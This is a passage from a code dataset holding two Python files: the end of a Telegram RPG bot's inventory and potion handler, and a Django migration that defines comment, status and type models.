str(int(equip.shand[all[1]][1]))\n if int(equip.shand[all[1]][2]) > 0:\n text += ' ⚔️' + str(int(equip.shand[all[1]][2]))\n elif all[0] == 'amulet':\n if all[2]:\n text += '\\n🖊' + all[2]\n else:\n text += '\\n' + equip.amulet[all[1]][0]\n elif all[0] == 'potion':\n if all[1] in _potion:\n _potion[all[1]] += 1\n else:\n _potion[all[1]] = 1\n text += '\\nНадеть : ' + '/equip_' + str(all[3])\n text += '\\nВыкинуть : ' + '/drop_{}'.format(all[3])\n for _all in _potion:\n text += '\\n' + equip.potion[_all][0] + ' x' + str(_potion[_all])\n text += '\\nВыпить : ' + '/potion_' + _all\n button.append(['Назад'])\n set_hand(user_id, equip_inventory_new)\n send_message(user_id, text, button)\n\ndef equip_inventory_new(user_id, message):\n _inventory = db.get_inventory(user_id)\n _equip = db.get_equip(user_id)\n if message.startswith('/equip_') or message.startswith('/drop_'):\n message = message.split('_')\n _inventorrr = db.get_inventory_id(user_id)\n if message[1] in _inventorrr:\n if message[0] == '/equip':\n if _equip[_inventorrr[message[1]]]:\n db.off_equip(_inventorrr[message[1]])\n db.add_equip(message[1])\n text = 'Вы быстро напялили это шмотье.'\n else:\n db.del_inventory_item(message[1])\n text = 'Вы выкинули данный предмет.'\n send_message(user_id, text)\n else :\n text = 'У тебя такого нет'\n send_message(user_id, text)\n elif message.startswith('/potion_'):\n _data = message.split('_')\n _buff = get_all_buff(user_id)\n if _data[1] in equip.potion and ['potion', _data[1]] in _inventory and _data[1] not in _buff:\n i_hero_add_buff(user_id, _data[1])\n _potion = equip.potion[_data[1]]\n if _potion[1] != 0:\n db.add_atk(user_id, _potion[1])\n bd_adventure.append(['db.add_atk', _potion[4], [user_id, -_potion[1]]])\n if _potion[2] != 0:\n db.add_def(user_id, _potion[2])\n bd_adventure.append(['db.add_def', _potion[4], [user_id, -_potion[2]]])\n if _potion[3] != 0:\n db.add_max_hp(user_id, _potion[3])\n bd_adventure.append(['db.add_max_hp', _potion[4], [user_id, -_potion[3]]])\n if _potion[5] != 0:\n db.add_svamp(user_id, _potion[5])\n bd_adventure.append(['db.add_svamp', _potion[4], [user_id, -_potion[5]]])\n \n\n db.del_inventory_item(user_id, 'potion', _data[1])\n bd_adventure.append(['i_hero_del_buff', _potion[4], [user_id, _data[1]]])\n text = '🧪Ты выпил *{}*'.format(_potion[0])\n send_message(user_id, text, parse_mode='Markdown')\n elif _data[1] in _buff:\n send_message(user_id, 'Ты уже употреблял это зелье недавно.', parse_mode='Markdown')\n elif len(_buff) > 2:\n send_message(user_id, 'Ты выпил слишком много разной выпивки.', parse_mode='Markdown')\n else:\n send_message(user_id, '*Произошла ошибка.*\\nВозможно у тебя уже нет данного зелья.', parse_mode='Markdown')\n \n elif message.lower() == 'назад':\n start_game(user_id)\n else :\n pass\n","sub_path":"RPG/modules/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"583142593","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('repository', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('subject', models.CharField(max_length=255, verbose_name='Subject')),\n ('content', models.TextField(verbose_name='Content')),\n ('full_name', models.CharField(max_length=128, verbose_name='Full Name')),\n ('email', models.EmailField(max_length=254, verbose_name='Email')),\n ('ip_address', models.CharField(max_length=64, verbose_name='IP Address')),\n ('created', models.DateTimeField(auto_now_add=True, verbose_name='Created')),\n ('updated', models.DateTimeField(auto_now=True, verbose_name='Updated')),\n ('edited_flag', models.BooleanField(default=False, verbose_name='Edited Flag')),\n ],\n options={\n 'verbose_name_plural': 'Comments',\n },\n ),\n migrations.CreateModel(\n name='Status',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('status', models.CharField(max_length=32, verbose_name='Status')),\n ('published', models.BooleanField(default=False, verbose_name='Published')),\n ],\n options={\n 'verbose_name_plural': 'Statuses',\n },\n ),\n migrations.CreateModel(\n name='Type',\n fields=[\n ('id', models.AutoField(primary_key=True, serialize=False, auto_created=True, verbose_name='ID')),\n ('type', models.CharField(max_length=64)),\n ],\n ),\n migrations.CreateModel(\n name='OwnerComment',\n fields=[\n ('comment_ptr', models.OneToOneField(parent_link=True, serialize=False, auto_created=True, to='comment.Comment', primary_key=True)),\n ('owner', models.ForeignKey(to='repository.Owner', verbose_name='Owner')),\n ],\n options={\n 'verbose_name_plural': 'Owner Comments',\n },\n bases=('comment.comment',),\n ),\n migrations.CreateModel(\n name='RepositoryComment',\n fields=[\n ('comment_ptr', models.OneToOneField(parent_link=True, serialize=False, auto_created=True, to='comment.Comment', primary_key=True)),\n ('repository', models.ForeignKey(to='repository.Repository', verbose_name='Repository')),\n ],\n options={\n 'verbose_name_plural': 'Repository Comments',\n },\n bases=('comment.comment',),\n ),\n migrations.AddField(\n model_name='comment',\n name='status',\n field=models.ForeignKey(to='comment.Status', verbose_name='Status'),\n ),\n migrations.AddField(\n model_name='comment',\n name='type',\n field=models.ForeignKey(to='comment.Type', verbose_name='Type'),\n ),\n migrations.AddField(\n model_name='comment',\n name='updated_by',\n field=models.ForeignKey(null=True, to=settings.AUTH_USER_MODEL, blank=True, verbose_name='Updated By'),\n ),\n ]\n","sub_path":"comment/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"}